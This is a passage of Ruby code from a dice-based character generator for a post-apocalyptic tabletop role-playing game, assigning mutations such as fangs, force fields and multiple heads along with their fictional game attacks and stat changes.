roll\n when 1..3\n sizeoffangs = \"Small\"\n fangsv = 2\n fangdmg = \"d6\"\n @@appearance = [@@appearance - 1, 1].max\n when 4..8\n sizeoffangs = \"Medium\"\n fangsv = 4\n fangdmg = \"d10\"\n @@appearance = [@@appearance - (1 + d(2)), 1].max\n when 9..10\n sizeoffangs = \"Huge\"\n fangsv = 6\n fangdmg = \"d20\"\n @@appearance = [@@appearance - (d(3) + 2), 1].max\n @@character_notes << \"Ability to speak clearly greatly reduced\"\n end\n @@attacks << {:attack_mode => \"Fangs\", :SV => fangsv, :rate => 1, :range => 0, :damage => fangdmg, :ammo => \"2/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"65\", :notes => \"This attack can only be employed as a supplemental melee attack if involved in close fighting\"}\n @@primary_mutations << \"Fanged: #{sizeoffangs} size\"\n end\n\n fang_size(d(10))\n\n when 420..427\n @@primary_mutations << \"Flame Breath\"\n @@attacks << {:attack_mode => \"Flame Breath\", :SV => 10, :rate => 1, :range => \"3/rank\", :damage => \"d6/rd for 2d6 rds\", :ammo => \"2/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"66\", :notes => \"Up to 3 man sized targets can be attacked at once if close together\"}\n when 428..438\n def force_field_strength(roll) # Hub rules p. 66\n case roll\n when 1..10\n force_field = d(10)\n when 11..24\n force_field = (d(10) + 3)\n when 25..53\n force_field = (d(10) + 5)\n when 54..78\n force_field = (d(10) + 10)\n when 79..94\n force_field = (d(10) + 12)\n when 95\n force_field = (d(10) + 15)\n when 96\n force_field = (d(10) + 17)\n when 97\n force_field = (d(10) + 20)\n when 98\n force_field = (d(10) + 23)\n when 99\n force_field = (d(10) + 26)\n when 100\n force_field = (d(10) + 30)\n end\n @@primary_mutations << \"Force Field: 2 uses/rank/day; #{willpower} rounds duration; absorbs #{force_field} dmg/round\"\n end\n force_field_strength(d(100))\n\n when 439..445\n @@primary_mutations << \"Foul Flesh\"\n @@character_notes << \"Will not eat mutant: all mammals, all humanoids except moaners, horrlify, all amphibians, fsh, birds except black vultures, reptilius, all reptiles, except alligators and crocodilians.\"\n when 446..453\n def furred_mutation(roll)\n case roll\n when 1..3\n fur_type = \"Fine, cat-like\"\n fur_dv = -3\n fur_cold = \"Double normal human cold resistance\"\n @@appearance = [@@appearance - d(3), 1].max\n when 4..5\n fur_type = \"Wool, sheep-like\"\n fur_dv = -6\n fur_cold = \"Triple normal human cold resistance\"\n @@appearance = [@@appearance - (1 + d(4)), 1].max\n when 6..7\n fur_type = \"Thick, sheep-like wool\"\n fur_dv = -9\n fur_cold = \"Quadruple normal human cold resistance\"\n @@appearance = [@@appearance - (d(6) + 2), 1].max\n when 8..9\n fur_type = \"Badger-like bristles\"\n fur_dv = -11\n fur_cold = \"Double normal human cold resistance\"\n @@appearance = [@@appearance - (d(6) + d(6) + 2), 1].max\n @@character_notes << \"+2 dmg to basic punch attack\" # +2 dmg to punch attack -- HOW to implement??\n when 10\n fur_type = \"Porcupine-like quills\"\n fur_dv = -13\n fur_cold = \"Double normal human cold resistance\"\n @@appearance = [@@appearance - (d(6) + d(6) + 3), 1].max\n @@character_notes << \"+2 dmg to basic punch attack\" # +2 dmg to punch attack -- HOW to implement??\n end\n @@primary_mutations << \"Furred: #{fur_type}, #{fur_cold} cold resistance. #{fur_dv} DV bonus\"\n @@dv += fur_dv\n end\n furred_mutation(d(10))\n when 454..459\n\n def gaseous_discharge(roll) # Hub Rules p. 67\n case roll\n when 1..2\n gas_type = \"Sleep\"\n gas_effect = \"All must make an Endurance-based type A hazard check or pass out for d100 rounds.\"\n when 3..4\n gas_type = \"Blindness\"\n gas_effect = \"All must make an Endurance-based type A hazard check or go blind for d6 days.\"\n when 5\n gas_type = \"Stink\"\n gas_effect = \"All must make an Endurance-based type C hazard check or spend 2 rounds vomiting, becoming +30 to strike, with their own SV being reduced to half, rounded down.\"\n when 6\n gas_type = \"Corrosive\"\n gas_effect = \"All must make an Endurance-based type B hazard check suffer d6 damage/rd from corrosive acids. Those who succeed vs. hazard check take 1 dmg/rd.\"\n when 7\n gas_type = \"Hallucinogenic\"\n gas_effect = \"All must make an Intelligence-based tybe B hazard check or hallucinate, +30SV to strike and -30SV to retaliate. Animals must make a morale check or flee immediately.\"\n when 8\n gas_type = \"Poison\"\n gas_effect = \"All must make an Endurance-based type A hazard check or drop unconscious for 10 rounds. Their breathing ceases on the 11th round and if not resuscitated by artifcial respiration, will die on the 14th round.\"\n end\n @@primary_mutations << \"Gaseous Discharge: #{gas_type}\"\n @@attacks << {:attack_mode => \"Gaseous Discharge: #{gas_type}\", :SV => \"Auto\", :rate => 1, :range => \"10 m radius\", :damage => \"Special\", :ammo => \"2/day\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"66-67\", :notes => \"#{gas_effect} Gas dissipates in 2 rounds outdoors or lingers 2d10 + 4 rounds in enclosed areas.\"}\n @@character_notes << \"Character immune to #{gas_type}\"\n end\n\n gaseous_discharge(d(8))\n\n when 460..472\n def gaping_maw(roll) #Hub Rules p. 67\n case roll\n when 1..5\n maw_size = \"Large\"\n maw_sv = 4\n maw_damage = \"d12\"\n maw_mv_mod = 0\n maw_added_weight = 15\n @@appearance = [@@appearance - (d(4) + d(4) + 2), 1].max\n when 6..7\n maw_size = \"Huge\"\n maw_sv = 7\n maw_damage = \"d20\"\n maw_mv_mod -= 0.25\n maw_added_weight = 30\n @@appearance = [@@appearance - (d(4) + d(4) + 4), 1].max\n when 8..9\n maw_size = \"Massive\"\n maw_sv = 12\n maw_damage = \"2d20\"\n maw_mv_mod -= 0.5\n maw_added_weight = 70\n @@appearance = [@@appearance - (d(6) + d(6) + 5), 1].max\n when 10\n maw_size = \"Colossal\"\n maw_sv = 20\n maw_damage = \"3d20\"\n maw_mv_mod -= 1\n maw_added_weight = 120\n @@appearance = [@@appearance - (d(6) + d(6) + 8), 1].max\n end\n @@primary_mutations << \"Gaping Maw: #{maw_size} in size\"\n @@attacks << {:attack_mode => \"Gaping Maw\", :SV => maw_sv, :rate => 1, :range => 0, :damage => maw_damage, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"67\", :notes => \"Can be employed as a supplemental melee attack \"}\n @@character_notes << \"Almost totally carnivorous diet. Mutant drools and spits when speaking in a low, gruff voice difficult for strangers to understand.\"\n @@character_weight += maw_added_weight\n @@movement_rate_base -= maw_mv_mod\n end\n\n gaping_maw(d(10))\n\n\n when 473..497\n def heal_touch(willpower)\n case willpower\n when 1..6\n healrate = \"d8\"\n when 7..14\n healrate = \"d12\"\n when 15..34\n healrate = \"d20\"\n when 35..64\n healrate = \"d20 + 10\"\n when 65..84\n healrate = \"d20 + 20\"\n when 85..105\n healrate = \"d20 + 30\"\n when 106..200\n healrate = \"d20 + 40\"\n end\n @@primary_mutations << \"Heal Touch: 2/day/rank, #{healrate} trait points healed. Diseases healed if victim makes Type B willpower based hazard check.\"\n end\n\n heal_touch(@@willpower)\n\n @@primary_mutations << \"Heal Touch\"\n when 498..511\n def heat_pulse(willpower) # Hub Rules p. 67\n case willpower\n when 1..6\n heat_pulse_sv = -5\n heat_pulse_dmg = \"d6\"\n heat_pulse_range = 5\n when 7..14\n heat_pulse_sv = 0\n heat_pulse_dmg = \"d10\"\n heat_pulse_range = 10\n when 15..34\n heat_pulse_sv = 4\n heat_pulse_dmg = \"d20\"\n heat_pulse_range = @@willpower\n when 35..64\n heat_pulse_sv = 6\n heat_pulse_dmg = \"d20 + 10\"\n heat_pulse_range = (@@willpower * 2)\n when 65..84\n heat_pulse_sv = 9\n heat_pulse_dmg = \"d20 + 20\"\n heat_pulse_range = (@@willpower * 3)\n when 85..105\n heat_pulse_sv = 12\n heat_pulse_dmg = \"d20 + 30\"\n heat_pulse_range = (@@willpower * 4)\n when 106..200\n heat_pulse_sv = 15\n heat_pulse_dmg = \"d20 + 40\"\n heat_pulse_range = (@@willpower * 5)\n end\n @@primary_mutations << \"Heat Pulse\"\n @@attacks << {:attack_mode => \"Heat Pulse\", :SV => heat_pulse_sv, :rate => 1, :range => heat_pulse_range, :damage => heat_pulse_dmg, :ammo => \"2/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"67\", :notes => \"\"}\n end\n\n heat_pulse(@@willpower)\n\n\n when 512..556\n\n def heightened_attributes(roll) # Hub Rules p. 68\n case roll\n when 1\n heightened_attributes_type = \"Cat Balance\"\n @@agility += (d(20) + 20)\n @@accuracy += (d(10) + d(10))\n @@perception += (d(20) + d(20))\n @@appearance += d(10)\n 2.times @@skills << \"Stealth\"\n @@character_notes << \"Due to cat balance, character always gets two hazard checks when agility or accuracy are involved.\"\n when 2\n heightened_attributes_type = \"Eagle Eyes\"\n @@accuracy += (d(10) + d(10))\n @@perception += (d(10) + d(10) + d(10))\n @@character_notes << \"Due to eagle eyes, character sees 10x better than typical human, including at night.\"\n when 3..4\n heightened_attributes_type = \"Strength\"\n @@strength += (d(20) + 30)\n @@appearance += (d(10) + d(10))\n @@character_notes << \"Due to heightened strength, character always gets two hazard checks when strength involved.\"\n when 5..6\n heightened_attributes_type = \"Endurance\"\n @@endurance += (d(20) + 30)\n @@character_notes << \"Due to heightened endurance, character always gets two hazard checks when endurance involved (eg, poison).\"\n when 7\n heightened_attributes_type = \"Hand-Eye Coordination\"\n @@accuracy += (d(20) + 20)\n @@character_notes << \"Due to superior hand-eye coordination, character always gets two hazard checks when accuracy involved.\"\n when 8\n heightened_attributes_type = \"Beauty\"\n @@appearance += (d(20) + 30)\n @@agility += d(6)\n @@accuracy += d(6)\n @@strength += d(6)\n @@character_notes << \"Due to heightened beauty, character always gets two hazard checks when appearance involved.\"\n when 9\n heightened_attributes_type = \"Auditory\"\n @@dv -= 5\n @@character_notes << \"+2 initiative when operating alone or more than 10m from companions.\"\n @@character_notes << \"Sonic attacks do double damage, while crying babies, crowded pubs, and other intense noises are painful.\"\n @@character_notes << \"Due to heightened hearing, character receives 4 attempts on hazard checks related to listening/hearing.\"\n when 10\n heightened_attributes_type = \"Olfactory\"\n (d(2) + 1).times @@skills << \"Tracking\"\n @@character_notes << \"Due to heightened sense of smell, character gets no hazard checks vs. stink-based attacks.\"\n @@character_notes << \"Character cannot be fooled by illusions at less than 10m\"\n @@character_notes << \"Bloodhound-like tracking abilities; however, after 12 hours, or rain, sand storms, or crossing water, all result in lost trails.\"\n when 11\n heightened_attributes_type = \"Willpower\"\n @@willpower += (d(20) + 30)\n @@character_notes << \"Due to heightened willpower, character always gets two hazard checks when willpower involved.\"\n when 12\n heightened_attributes_type = \"Intelligence\"\n @@intelligence += (d(20) + 30)\n @@character_notes << \"Due to heightened intelligence, character always gets two hazard checks when intelligence involved.\"\n end\n @@primary_mutations << \"Heightened Attributes: #{heightened_attributes_type}\"\n end\n\n heightened_attributes(d(12))\n\n\n when 557..566\n number_of_horns = d(4)\n @@primary_mutations << \"Horns: #{number_of_horns} on head\"\n @@character_weight += (2 * number_of_horns)\n @@attacks << {:attack_mode => \"Horns\", :SV => (3 * number_of_horns), :rate => 1, :range => 0, :damage => \"#{number_of_horns}d10\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"68\", :notes => \"This attack can be employed as a supplemental melee attack\"}\n @@character_notes << \"Due to horns, character can't wear relic helmets or shell-class armor unless horns permanently removed.\"\n when 567..571\n @@primary_mutations << \"Image Multiplication: #{@@willpower} duration, 2 uses/day/rank. Up to #{@@willpower/10.floor} images of mutant's self created. Hub Rules p. 68\"\n when 572..578\n def image_projection(intelligence)\n case intelligence\n when 1..9\n image_projection_range = \"1 km\"\n image_projection_duration = \"d4 rounds\"\n when 10..34\n image_projection_range = \"#{@@intelligence/2} km\"\n image_projection_duration = \"2d4 rounds\"\n when 35..54\n image_projection_range = \"#{@@intelligence} km\"\n image_projection_duration = \"10 + d10 rounds\"\n when 55..74\n image_projection_range = \"#{@@intelligence * 2} km\"\n image_projection_duration = \"20 + d20 rounds\"\n when 75..94\n image_projection_range = \"#{@@intelligence * 100} km\"\n image_projection_duration = \"100 + d100 rounds\"\n when 95..200\n image_projection_range = \"anywhere within solar system\"\n image_projection_duration = \"200 + 2d100 rounds\"\n end\n @@primary_mutations << \"Image Projection: #{image_projection_range} range, #{image_projection_duration} duration. 1/rank/day. Illusion can repeat 2 words/round. Creatures with 35+ intelligence can make a type B intelligence based hazard check to recognize projection as an illusion. Hub Rules p. 69\"\n end\n\n image_projection(@@intelligence)\n\n when 579..603\n def immunity_mutation(roll)\n case roll\n when 1..2\n @@primary_mutations << \"Poison immunity: totally immune to all forms of poison. Also, cannot get drunk.\"\n when 3..4\n @@primary_mutations << \"Disease immunity: All forms of infection, disease, sickness, parasites, etc. don't affect character. Immune to parasites as well.\"\n when 5..6\n @@primary_mutations << \"Radiation immunity: unaffected by all forms of radiation.\"\n end\n end\n\n immunity_mutation(d(6))\n\n when 605..613\n @@primary_mutations << \"Increased Cellular Activity\"\n @@endurance_healing_rate = (@@endurance_healing_rate * 3)\n @@character_notes << \"Character suffers no ill effects from aging (only benefits) and will live forever if not killed in combat, disease, poison, or accident.\"\n when 614..617\n @@primary_mutations << \"Light Burst: 10m radius, 2/day/rank\"\n @@attacks << {:attack_mode => \"Light Burst\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"1/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"69\", :notes => \"Type C agility HC or blinded for 2d5 rounds. Blindness: -2 MV, -20 SV, +20 SV to be struck.\"}\n when 618..624\n @@primary_mutations << \"Limb Regeneration: see Hub Rules p. 69 for regeneration rates.\"\n when 625..630\n def mandibles_mutation(roll)\n case roll\n when 1..2\n mandibles_size = \"Small\"\n mandibles_sv = 3\n mandibles_dmg = \"d10\"\n mandibles_weight = 5\n mandibles_appearance = -(d(4) + 3)\n when 3..5\n mandibles_size = \"Medium\"\n mandibles_sv = 5\n mandibles_dmg = \"d12\"\n mandibles_weight = 15\n mandibles_appearance = -(d(6) + 4)\n when 6..7\n mandibles_size = \"Large\"\n mandibles_sv = 8\n mandibles_dmg = \"d20\"\n mandibles_weight = 20\n mandibles_appearance = -(d(8) + 6)\n @@movement_rate_base -= 0.25\n when 8..9\n mandibles_size = \"Huge\"\n mandibles_sv = 11\n mandibles_dmg = \"d20 + 5\"\n mandibles_weight = 30\n mandibles_appearance = -(d(6) + d(6) + 5)\n @@movement_rate_base -= 0.5\n when 10\n mandibles_size = \"Massive\"\n mandibles_sv = 15\n mandibles_dmg = \"d20 + 10\"\n mandibles_weight = 40\n mandibles_appearance = -(d(6) + d(6) + d(6) + 6)\n @@movement_rate_base -= 1\n\n end\n\n @@attacks << {:attack_mode => \"Mandibles\", :SV => mandibles_sv, :rate => 1, :range => 0, :damage => mandibles_dmg, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"69\", :notes => \"Can be employed as a supplemental melee attack\"}\n @@character_weight += mandibles_weight\n @@appearance += mandibles_appearance #due to implementation method no protection here from =< 0...\n @@primary_mutations << \"Mandibles: #{mandibles_size} size\"\n end\n\n mandibles_mutation(d(10))\n\n when 631..641\n @@primary_mutations << \"Mental Mine\"\n when 642..655\n @@primary_mutations << \"Mental Screen\"\n when 656..687\n @@primary_mutations << \"Mind Crush\"\n when 688..693\n @@primary_mutations << \"Mind Waste\"\n when 694..699\n @@primary_mutations << \"Monstrous Morph\"\n when 700..718\n def multi_arm_mutation(roll) # Hub Rules p. 71\n case roll\n when 1..10\n additional_arms = 1\n when 11..85\n additional_arms = 2\n when 86..90\n additional_arms = 3\n when 91..97\n additional_arms = 4\n when 98\n additional_arms = 5\n when 99\n additional_arms = 6\n when 100\n additional_arms = (d(6) +6)\n end\n if additional_arms % 2 == 1\n def odd_arm_side(roll)\n case roll\n when 1\n odd_arm = \"right\"\n when 2\n odd_arm = \"left\"\n end\n end\n odd_arm_side(d(2))\n @@character_notes << \"Odd arm is on the #{odd_arm_side} side.\"\n end\n\n @@primary_mutations << \"Multi-Arm: #{additional_arms} additional arms\"\n end\n\n multi_arm_mutation(d(100))\n\n when 719..728\n def multi_head_mutation(roll)\n case roll\n when 1..70\n additional_heads = 1\n multi_head_appearance = -d(4)\n multi_head_mv = 0\n multi_head_initiative = 1\n when 71..88\n additional_heads = 2\n multi_head_appearance = -(d(4) + 1 )\n multi_head_mv = 0.25\n multi_head_initiative = 1\n when 89..95\n additional_heads = 3\n multi_head_appearance = -(d(6) + 2)\n multi_head_mv = 0.5\n multi_head_initiative = 2\n when 96..97\n additional_heads = 4\n multi_head_appearance = -(d(6) + 4)\n multi_head_mv = 0.75\n multi_head_initiative = 2\n when 98..99\n additional_heads = 5\n multi_head_appearance = -(d(6) + 6)\n multi_head_mv = 1\n multi_head_initiative = 3\n when 100\n additional_heads = 6\n multi_head_appearance = -(d(6) + 8)\n multi_head_mv = 1.25\n multi_head_initiative = 4\n end\n\n @@primary_mutations << \"Multi-Head: #{additional_heads} additional heads.\"\n @@appearance += multi_head_appearance\n @@movement_rate_base -= multi_head_mv\n @@initiative += multi_head_initiative\n @@character_notes << \"Heads tend to sleep at different times, with wakeful heads acting as lookout.\"\n\n while extra_heads > 0 do\n intelligence = attributes_roll(d100)\n wisdom = attributes_roll(d100)\n puts \"Extra head no. #{extra_heads} has INT of #{intelligence} and WIS of #{wisdom}\"\n def extra_head_mutations(roll2)\n case roll2\n when 1..62\n extra_head_mutation = ghost_mutations(d(100))\n @@primary_mutations << extra_head_mutation\n @@character_notes << \"Extra head no. #{extra_heads} has the mental mutation #{extra_head_mutation}\" # HOW to pick just the name of the mental mutation??\n end\n end\n end\n additional_heads -= 1\n end\n multi_head_mutation(d(100))\n\n when 729..738\n @@primary_mutations << \"Night Vision: can see as well at night as a typical human can in daylight (at least starlight must be present).\"\n when 739..745\n @@primary_mutations << \"Peeling Radius\"\n @@attacks << {:attack_mode => \"Peeling Radius\", :SV => 0, :rate => 1, :range => 10, :damage => \"d6/rd\", :ammo => \"2/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"71\", :notes => \"10m radius. Automatic hit. Duration: 3 rds/rank\"}\n when 746..754\n def poison_bite_mutation(roll1, roll2) # Hub Rules p. 71\n case roll1\n when 1..54\n poison_bite_strength = \"A\"\n when 55..84\n poison_bite_strength = \"B\"\n when 85..97\n poison_bite_strength = \"C\"\n when 98..99\n poison_bite_strength = \"D\"\n when 100\n poison_bite_strength = \"E\"\n end\n\n case roll2\n when 1..5\n poison_bite_type = \"Death\"\n when 6\n poison_bite_type = \"Paralysis\"\n when 7\n poison_bite_type = \"Insanity\"\n when 8..10\n poison_bite_type = \"Sleep\"\n end\n\n @@primary_mutations << \"Poison Bite: #{poison_bite_type} venom, strength #{poison_bite_strength}, 4/day. Sufficient to coat 4 arrows/darts or 1 blade per injection's worth of poison.\"\n @@attacks << {:attack_mode => \"Poison Bite\", :SV => 0, :rate => 1, :range => 0, :damage => \"d6 plus poison\", :ammo => \"4/day\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"71\", :notes => \"#{poison_bite_type} venom, #{poison_bite_strength} strength.\"}\n end\n\n poison_bite_mutation(d(100),d(10))\n\n\n when 755..760\n\n def poison_blood_mutation(roll1, roll2) # Hub Rules p. 71\n case roll1\n when 1..54\n poison_bite_strength = \"A\"\n when 55..84\n poison_bite_strength = \"B\"\n when 85..97\n poison_bite_strength = \"C\"\n when 98..99\n poison_bite_strength = \"D\"\n when 100\n poison_bite_strength = \"E\"\n end\n\n case roll2\n when 1..5\n poison_bite_type = \"Death\"\n when 6\n poison_bite_type = \"Paralysis\"\n when 7\n poison_bite_type = \"Insanity\"\n when 8..10\n poison_bite_type = \"Sleep\"\n end\n\n @@primary_mutations << \"Poison Blood: #{poison_bite_type} venom, #{poison_bite_strength} strength. Any creature biting mutant poisoned.\"\n\n end\n\n poison_blood_mutation(d(100),d(10))\n\n when 761..767\n paralysis_tendrils = d(6)\n @@primary_mutations << \"Paralysis Tendrils: #{paralysis_tendrils} 3m length grow from mutant's chest\"\n @@appearance = [@@appearance - (4 * paralysis_tendrils), 1].max\n @@attacks << {:attack_mode => \"Paralysis Tendrils\", :SV => 10, :rate => 1, :range => 3, :damage => \"d12 stun, 2d20 vs machines\", :ammo => \"3/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"72\", :notes => \"#{paralysis_tendrils} tendrils, each capable of attack 3/day/rank.\"}\n\n\n when 768..773\n @@primary_mutations << \"Radiation Absorption: mutant immune to radioactivity, except for radioactive weapons, which do half damage.\"\n when 774..780\n @@primary_mutations << \"Radiation Detection: automatically senses the presence of radiation within a twenty meter radius, including those rare sources found in special radiation using robots, relic weapons and life forms.\"\n when 781..786\n @@primary_mutations << \"Radioactive Pulse\"\n @@attacks << {:attack_mode => \"Radioactive Pulse\", :SV => 10, :rate => 1, :range => @@willpower, :damage => \"d20 plus radiation\", :ammo => \"1/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"72\", :notes => \"Victim makes type B endurance hazard check or suffer medium exposure; then type A hazard check or suffer strong exposure.\"}\n when 787..794\n @@primary_mutations << \"Reserve Heart: If character deemed to be killed by poison or electricity, or a critical hit which specifcally states a piercing of the heart, she will appear to be quite dead for 2d20+10 rounds. After this comatose period without a pulse or heartbeat, her back up heart will suddenly kick in and induce 2d10 endurance of healing, bringing the character slowly back to life.\"\n when 795..802\n @@primary_mutations << \"Reserve Mind: back-up brain takes over in case of brain damage, unconsciousness, insanity, or lethal damage. Hub Rules p. 72\"\n when 803..809\n @@primary_mutations << \"Scaled Skin\"\n @@dv -= 8\n @@appearance = [@@appearance - d(4), 1].max\n @@character_notes << \"Scaled skin: immune to damage from sunburn, sand storms, insect bites, and topical irritants.\"\n when 810..814\n @@primary_mutations << \"Serpentine Body: +4 mv on land or swimming\"\n @@dv -= 5\n serpent_body_length = d(3) + 1\n @@character_weight += (40 * serpent_body_length)\n @@appearance = [@@appearance - (d(6) + 1), 1].max\n @@movement_rate_base += 4\n @@movement_rate_swimming += 4\n @@character_notes << \"Unable to wear relic shell class armor\"\n @@attacks << {:attack_mode => \"Serpentine Body Strike\", :SV => 0, :rate => 1, :range => serpent_body_length, :damage => \"d20 stun\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"72\", :notes => \"Constrict for d10 lethal dmg/rd after successful strike.\"}\n\n when 815..839\n def shell_mutation(roll) # Hub Rules p. 73\n case roll\n when 1..4\n shell_rating = \"Light\"\n shell_defense_value = 10\n shell_movement_penalty = 0.5\n shell_appearance_penalty = (d(4) + 1)\n shell_weight = 20\n when 5..7\n shell_rating = \"Medium\"\n shell_defense_value = 20\n shell_movement_penalty = 1\n shell_appearance_penalty = (d(6) + 2)\n shell_weight = 30\n when 8..9\n shell_rating = \"Heavy\"\n shell_defense_value = 30\n shell_movement_penalty = 1.5\n shell_appearance_penalty = (d(6) + 4)\n shell_weight = 40\n when 10\n shell_rating = \"Extra Heavy\"\n shell_defense_value = 40\n shell_movement_penalty = 2\n shell_appearance_penalty = (d(6) + 6)\n shell_weight = 50\n end\n @@primary_mutations << \"#{shell_rating} Shell: #{shell_defense_value} DV, -#{shell_movement_penalty} MV\"\n @@appearance = [@@appearance - shell_appearance_penalty, 1].max\n @@dv -= shell_defense_value\n @@movement_rate_base -= shell_movement_penalty\n @@character_weight += shell_weight\n @@character_notes << \"Due to Shell mutation, punches, kicks, head-butts etc. deal 2d6 dmg instead of typical d6.\"\n @@character_notes << \"Shell mutation: no relic armor OTHER than ballistic, riot, and bomb squad armor can be worn. Combat armor can be modified, d6+1 days.\"\n end\n\n shell_mutation(d(10))\n\n when 840..849\n def size_decrease_mutation(height)\n case height\n when 61..95\n @@agility += (d(8) + d(8))\n @@strength = [@@strength - d(10), 1].max\n @@endurance = [@@endurance - (d(6) + d(6)), 1].max\n 4.times @@skills << \"Stealth\"\n when 66..90\n @@agility += (d(6) + d(6))\n @@strength = [@@strength - d(8), 1].max\n @@endurance = [@@endurance - (d(4) + d(4)), 1].max\n 3.times @@skills << \"Stealth\"\n when 91..110\n @@agility += (d(4) + d(4))\n @@strength = [@@strength - d(6), 1].max\n @@endurance = [@@endurance - d(6), 1].max\n 2.times @@skills << \"Stealth\"\n when 111..130\n @@agility += d(6)\n @@strength = [@@strength - d(4), 1].max\n @@endurance = [@@endurance - d(4), 1].max\n 2.times @@skills << \"Stealth\"\n when 131..140\n @@agility += d(6)\n @@strength = [@@strength - d(3), 1].max\n @@endurance = [@@endurance - 2, 1].max\n @@skills << \"Stealth\"\n when 141..159\n @@agility += d(4)\n @@skills << \"Stealth\"\n when 160..199\n @@agility += d(3)\n @@skills << \"Stealth\"\n end\n end\n\n @@character_height -= d(100)\n size_decrease_mutation(@@character_height)\n @@primary_mutations << \"Size Decrease\"\n when 850..860\n @@primary_mutations << \"Size Increase\"\n @@character_height += (d(100) + d(100) + d(100) + d(100))\n\n def size_increase_mutation(height) # Hub Rules p. 73\n case height\n when 164..184\n @@strength += d(10)\n @@endurance && @@character_weight += (d(10) + 5)\n when 185..199\n @@movement_rate_base += 0.25\n @@strength += (d(10) + 5)\n @@endurance && @@character_weight += (d(10) + 10)\n when 200..250\n @@movement_rate_base += 0.5\n @@strength += (d(10) + 10)\n @@endurance && @@character_weight += (d(20) + 15)\n when 251..299\n @@movement_rate_base += 0.75\n @@strength += (d(20) + 15)\n @@endurance && @@character_weight += (d(20) + 20)\n when 300..350\n @@movement_rate_base += 1\n @@strength += (d(20) + 20)\n @@endurance && @@character_weight += (d(20) + 30)\n when 351..399\n @@movement_rate_base += 1.25\n @@strength += (d(20) + 30)\n @@endurance && @@character_weight += (d(20) + 40)\n when 400..425\n @@movement_rate_base += 1.5\n @@strength += (d(20) + 40)\n @@endurance && @@character_weight += (d(20) + 50)\n when 426..450\n @@movement_rate_base += 1.75\n @@strength += (d(20) + 50)\n @@endurance && @@character_weight += (d(20) + 60)\n when 451..475\n @@movement_rate_base += 2\n @@strength += (d(20) + 60)\n @@endurance && @@character_weight += (d(20) + 75)\n when 476..499\n @@movement_rate_base += 3\n @@strength += (d(20) + 75)\n @@endurance && @@character_weight += (d(20) + 88)\n when 500..525\n @@movement_rate_base += 4\n @@strength += (d(20) + 88)\n @@endurance && @@character_weight += (d(20) + 100)\n when 526..560\n @@movement_rate_base += 5\n @@strength += (d(20) + 100)\n @@endurance && @@character_weight += (d(20) + 130)\n when 561..580\n @@movement_rate_base += 6\n @@strength += (d(20) + 130)\n @@endurance && @@character_weight += (d(20) + 160)\n end\n end\n\n size_increase_mutation(@@character_height)\n\n when 861..869\n def sonic_wave_radius_mutation(willpower) # Hub Rules p. 73\n case willpower\n when 1..9\n attack_radius = 1\n damage = \"d4\"\n deafness_duration = \"1 minute\"\n when 10..23\n attack_radius = 2\n damage = \"d6\"\n deafness_duration = \"5 minutes\"\n when 24..34\n attack_radius = 4\n damage = \"d8\"\n deafness_duration = \"10 minutes\"\n when 35..60\n attack_radius = 5\n damage = \"d10\"\n deafness_duration = \"30 minutes\"\n when 61..70\n attack_radius = 7\n damage = \"d12\"\n deafness_duration = \"1 hour\"\n when 71..80\n attack_radius = 9\n damage = \"d20\"\n deafness_duration = \"2d4 hours\"\n when 81..90\n attack_radius = 15\n damage = \"d20 + 5\"\n deafness_duration = \"3d6 hours\"\n when 91..100\n attack_radius = 20\n damage = \"d20 + 10\"\n deafness_duration = \"d6 days\"\n when 101..110\n attack_radius = 25\n damage = \"d20 + 15\"\n deafness_duration = \"2d4 days\"\n when 111..120\n attack_radius = 30\n damage = \"d20 + 20\"\n deafness_duration = \"3d6 days\"\n when 121..130\n attack_radius = 40\n damage = \"d20 + 30\"\n deafness_duration = \"3d6 + 10 days\"\n when 131..140\n attack_radius = 50\n damage = \"d20 + 40\"\n deafness_duration = \"3d6 + 20 days\"\n when 141..150\n attack_radius = 60\n damage = \"d20 + 50\"\n deafness_duration = \"3d6 + 30 days\"\n end\n\n @@primary_mutations << \"Sonic Wave Radius: 2/day/rank, #{attack_radius} radius, #{damage} damage, #{deafness_duration} deafness.\"\n @@attacks << {:attack_mode => \"Sonic Wave Radius\", :SV => 100, :rate => 1, :range => attack_radius, :damage => damage, :ammo => \"2/day/rank\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"73\", :notes => \"#{deafness_duration} deafness\"}\n end\n\n sonic_wave_radius_mutation(@@willpower)\n\n\n when 870..876\n @@primary_mutations << \"Spines: #{d(10) + 10} cm length, + d6 dmg to punch/kick\"\n @@dv -= (d(20) + 10)\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\n @@character_notes << \"Unable to wear relic armor unless spines are sawed off monthly.\"\n when 877..880\n @@primary_mutations << \"Sprint: 2/day/rank, duration 2d10 + rank rounds. -20DV (-20SV with misslie weapons) while sprinting OR double melee attack rate.\"\n when 881..886\n def stalked_eyes_mutation(roll)\n case roll\n when 1..67\n eye_stalks = (d(4) + 1)\n @@primary_mutations << \"Stalked eyes: mutant has #{eye_stalks} #{(d(20) + 10)} cm long instead of typical eyes.\"\n when 68..100\n eye_stalks = (d(3) + 1)\n @@primary_mutations << \"Stalked eyes: mutant has #{eye_stalks} #{(d(20) + 10)} cm long in addition to typical eyes.\"\n end\n\n @@dv -= (eye_stalks * 3)\n @@initiative += 2\n @@appearance = [@@appearance - 